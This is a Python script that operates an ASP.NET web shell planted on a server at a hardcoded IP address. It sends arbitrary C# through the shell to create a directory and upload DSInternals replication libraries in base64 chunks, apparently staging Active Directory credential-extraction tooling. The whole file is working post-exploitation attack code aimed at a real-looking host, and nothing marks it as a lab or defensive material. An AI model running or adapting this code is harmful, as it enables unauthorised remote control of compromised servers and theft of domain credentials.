#!/usr/bin/env python3
import requests, base64, os, hashlib
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
ROOT = "/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775"
V = ROOT + "/ds"

def ev(code):
    r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=300)
    return r.text.split('!BD')[0]

files = [
 ("DSInternals.Common.dll",             V + "/common/lib/net472/DSInternals.Common.dll"),
 ("DSInternals.Replication.dll",        V + "/repl/lib/net472/DSInternals.Replication.dll"),
 ("DSInternals.Replication.Model.dll",  V + "/repl/lib/net472/DSInternals.Replication.Model.dll"),
 ("DSInternals.Replication.Interop.dll",V + "/repl/lib/net472/DSInternals.Replication.Interop.dll"),
 ("NDceRpc.Microsoft.dll",              V + "/ndcerpc/lib/NET40/NDceRpc.Microsoft.dll"),
 ("NDceRpc.ServiceModel.Core.dll",      V + "/ndcerpc/lib/NET40/NDceRpc.ServiceModel.Core.dll"),
 ("protobuf-net.dll",                   V + "/protobufnet/lib/net40/protobuf-net.dll"),
]

print("ALIVE:", ev('Response.Write("ALIVE");'))
# re-apply c.aspx-style eval shell safety: ensure Movvtf eval works with file ops
print("MKDIR:", ev('var d="C:\\\\Users\\\\Public\\\\ds";if(!System.IO.Directory.Exists(d)){System.IO.Directory.CreateDirectory(d);}Response.Write("MKDIR_OK");'))

CH = 190000  # multiple of 4
for name, src in files:
    raw = open(src, 'rb').read()
    md5 = hashlib.md5(raw).hexdigest()
    b64 = base64.b64encode(raw).decode()
    jp = 'C:\\\\Users\\\\Public\\\\ds\\\\' + name + '.bin'
    ok = 0
    for i in range(0, len(b64), CH):
        ch = b64[i:i+CH]
        fn = "WriteAllText" if i == 0 else "AppendAllText"
        code = 'System.IO.File.%s("%s","%s");Response.Write("K");' % (fn, jp, ch)
        r = ev(code)
        if "K" not in r:
            print("  !! chunk fail", name, i, repr(r[:150]))
            break
        ok += len(ch)
    code = 'var f=new System.IO.FileInfo("%s");Response.Write("SZ="+f.Length);' % jp
    sz = ev(code)
    print("%-34s src=%d md5=%s -> %s" % (name, len(raw), md5, sz), flush=True)

print("DONE")